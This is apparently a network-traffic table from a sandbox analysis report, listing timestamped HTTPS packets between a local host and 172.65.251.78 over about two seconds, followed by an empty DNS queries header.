Dec 19, 2024 14:14:25.686963081 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.686996937 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.693866014 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.693886042 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.693928957 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.693942070 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.693970919 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.693989992 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.700956106 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.700999975 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.701033115 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.701047897 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.701073885 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.701097012 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.707457066 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.707504988 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.707528114 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.707540035 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.707573891 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.707587957 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.714530945 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.714596987 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.714601040 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.714627981 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.714653969 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.714669943 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.720772028 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.720817089 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.720839977 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.720848083 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.720876932 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.720907927 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.865860939 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.865892887 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.865950108 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.865978003 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.865999937 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.866017103 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.873234034 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.873260975 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.873327017 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.873348951 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.873389006 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.878881931 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.878907919 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.878978014 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.878992081 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.879060030 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.885967016 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.885994911 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.886164904 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.886178017 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.886217117 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.892986059 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.893013000 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.893073082 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.893086910 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.893129110 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.899930000 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.899951935 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.900011063 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.900021076 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.900062084 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.906506062 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.906527042 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.906580925 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.906588078 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.906625032 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.912592888 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.912611008 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.912672997 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:25.912686110 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:25.912719965 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.058736086 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.058804035 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.058975935 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.059005022 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.059052944 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.059900045 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.059969902 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.066150904 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.066179991 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.066272974 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.066293001 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.073131084 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.073178053 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.073220015 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.073242903 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.073256016 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.080049992 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.080077887 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.080168009 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.080190897 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.087095976 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.087129116 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.087168932 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.087189913 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.087202072 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.093170881 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.093189001 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.093257904 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.093271017 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.099814892 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.099837065 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.099870920 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.099879026 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.099901915 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.106792927 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.106810093 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.106880903 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.106892109 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.149653912 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.252374887 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.252459049 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.252522945 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.252594948 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.252616882 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.252633095 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.259291887 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.259356976 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.259411097 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.259426117 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.259463072 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.265748024 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.265791893 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.265851974 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.265861034 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.265872002 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.265898943 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.272486925 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.272545099 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.272583008 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.272591114 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.272613049 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.272629023 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.274368048 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.274436951 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.280494928 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.280519009 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.280570030 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.280576944 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.280605078 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.288039923 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.288064003 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.288105011 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.288114071 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.288141966 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.294115067 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.294131041 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.294245958 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.294245958 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.294259071 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.337136984 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.439621925 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.439711094 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.439781904 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.439816952 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.439830065 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.443372011 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.446578979 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.446624041 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.446655035 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.446666002 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.446696997 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.446710110 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.452728987 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.452778101 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.452825069 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.452836990 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.452863932 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.452888966 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.459543943 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.459564924 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.459626913 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.459635973 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.459671974 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.466692924 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.466722012 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.466798067 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.466806889 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.466849089 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.472764969 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.472793102 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.472839117 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.472846985 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.472873926 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.472888947 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.480248928 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.480274916 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.480325937 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.480334044 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.480369091 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.480385065 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.486386061 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.486402035 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.486438990 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.486453056 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.486470938 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.486485958 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.631546974 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.631571054 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.631797075 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.631819963 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.631860971 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.638752937 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.638772964 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.638847113 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.638856888 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.638899088 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.645315886 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.645334005 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.645387888 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.645397902 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.645426989 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.645447016 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.651523113 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.651540041 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.651601076 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.651609898 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.651648998 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.659359932 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.659375906 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.659442902 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.659452915 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.659485102 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.665692091 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.665707111 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.665779114 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.665787935 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.665829897 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.672095060 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.672111988 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.672195911 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.672205925 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.672239065 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.679034948 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.679053068 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.679141998 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.679150105 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.679193974 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.682039022 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.682100058 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.682110071 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.727803946 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.828430891 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.828452110 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.828644991 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.828665972 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.828716040 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.833579063 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.833595037 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.833682060 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.833690882 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.833743095 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.841136932 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.841161966 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.841223001 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.841231108 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.841244936 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.841326952 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.847749949 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.847764969 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.847837925 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.847846985 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.847887993 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.854887962 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.854903936 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.854963064 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.854971886 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.855016947 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.861996889 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.862014055 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.862081051 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.862090111 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.862129927 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.868428946 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.868446112 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.868504047 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.868511915 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.868550062 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.874524117 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.874541044 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.874607086 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:26.874618053 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:26.874659061 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.019490004 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.019510984 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.019615889 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.019639969 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.019682884 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.026381969 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.026400089 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.026472092 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.026484966 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.026523113 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.032706976 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.032727957 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.032803059 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.032819986 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.032860994 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.039849997 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.039869070 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.039947033 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.039953947 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.039992094 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.048516035 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.048532963 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.048614025 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.048623085 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.048633099 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.048660040 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.055502892 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.055521011 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.055589914 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.055605888 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.055640936 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.061444044 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.061465025 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.061512947 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.061522961 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.061532974 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.061563015 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.068348885 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.068367004 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.068443060 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.068454981 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.068484068 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.213876963 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.213907957 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.214020014 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.214035034 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.214071989 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.219048023 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.219058037 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.219118118 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.219129086 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.219170094 CET	49736	443	192.168.2.9	172.65.251.78
Dec 19, 2024 14:14:27.226630926 CET	443	49736	172.65.251.78	192.168.2.9
Dec 19, 2024 14:14:27.226651907 CET	443	49736	172.65.251.78	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
